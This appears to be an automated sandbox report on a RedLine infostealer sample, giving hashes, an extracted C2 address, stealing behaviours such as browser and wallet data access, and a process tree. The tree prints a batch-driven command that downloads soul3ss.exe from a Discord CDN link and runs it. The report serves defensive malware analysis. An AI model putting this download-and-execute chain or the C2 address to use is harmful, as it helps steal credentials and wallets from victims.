Analysis

  • max time kernel
    33s
  • max time network
    76s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    23-08-2021 16:35

General

  • Target

    e16f915796d4762014fc3864d4444ac3.exe

  • Size

    449KB

  • MD5

    e16f915796d4762014fc3864d4444ac3

  • SHA1

    819364784cf0d3fe440b6c9a3950de7fa093e805

  • SHA256

    65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd

  • SHA512

    1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a

Malware Config

Extracted

Family

redline

Botnet

@soul3ss

C2

188.130.139.12:30376

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe
    "C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\6E30.bat C:\Users\Admin\AppData\Local\Temp\e16f915796d4762014fc3864d4444ac3.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:2024
      • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/random" "9000000" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:1232
      • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/879335227095416884/879356613826314250/soul3ss.exe" "soul3ss.exe" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:2000
      • C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exe
        soul3ss.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1452
      • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe "/sleep" "9000009" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v6

Credential Access

Credentials in Files

2
T1081

Discovery

Query Registry

1
T1012

Collection

Data from Local System

2
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exe
    MD5

    411ca7ba89ae45e92f9ed4663f903335

    SHA1

    6360b07844800b8e6e6e2b11ee3c8d051c4a2e96

    SHA256

    6780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009

    SHA512

    bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754

  • C:\Users\Admin\AppData\Local\Temp\17161\soul3ss.exe
    MD5

    411ca7ba89ae45e92f9ed4663f903335

    SHA1

    6360b07844800b8e6e6e2b11ee3c8d051c4a2e96

    SHA256

    6780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009

    SHA512

    bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754

  • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\6E30.bat
    MD5

    80c531ee85457cb0cf79db505e2de1b6

    SHA1

    92234cc2e7b97bc87b04beb6484e3d476964607d

    SHA256

    fc1d08e6e961418909613fb4eeb40fc3c145f01d44254f0be63cc59a98675098

    SHA512

    b98e2026a7a8f9062dbe9ea7674fdadb8124cbb3cb7a79426d2192601516f6686b6b8e35ba1ad4793f90a4c01088d040e7c83422e65b72ce5bbe3e52d425deab

  • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\6E2E.tmp\6E2F.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • memory/1232-71-0x0000000000000000-mapping.dmp
  • memory/1452-80-0x0000000000000000-mapping.dmp
  • memory/1452-87-0x0000000000A50000-0x0000000000A51000-memory.dmp
    Filesize

    4KB

  • memory/1452-89-0x0000000004A20000-0x0000000004A21000-memory.dmp
    Filesize

    4KB

  • memory/1628-60-0x000007FEFC031000-0x000007FEFC033000-memory.dmp
    Filesize

    8KB

  • memory/1652-84-0x0000000000000000-mapping.dmp
  • memory/2000-76-0x0000000000000000-mapping.dmp
  • memory/2016-61-0x0000000000000000-mapping.dmp
  • memory/2024-66-0x0000000000000000-mapping.dmp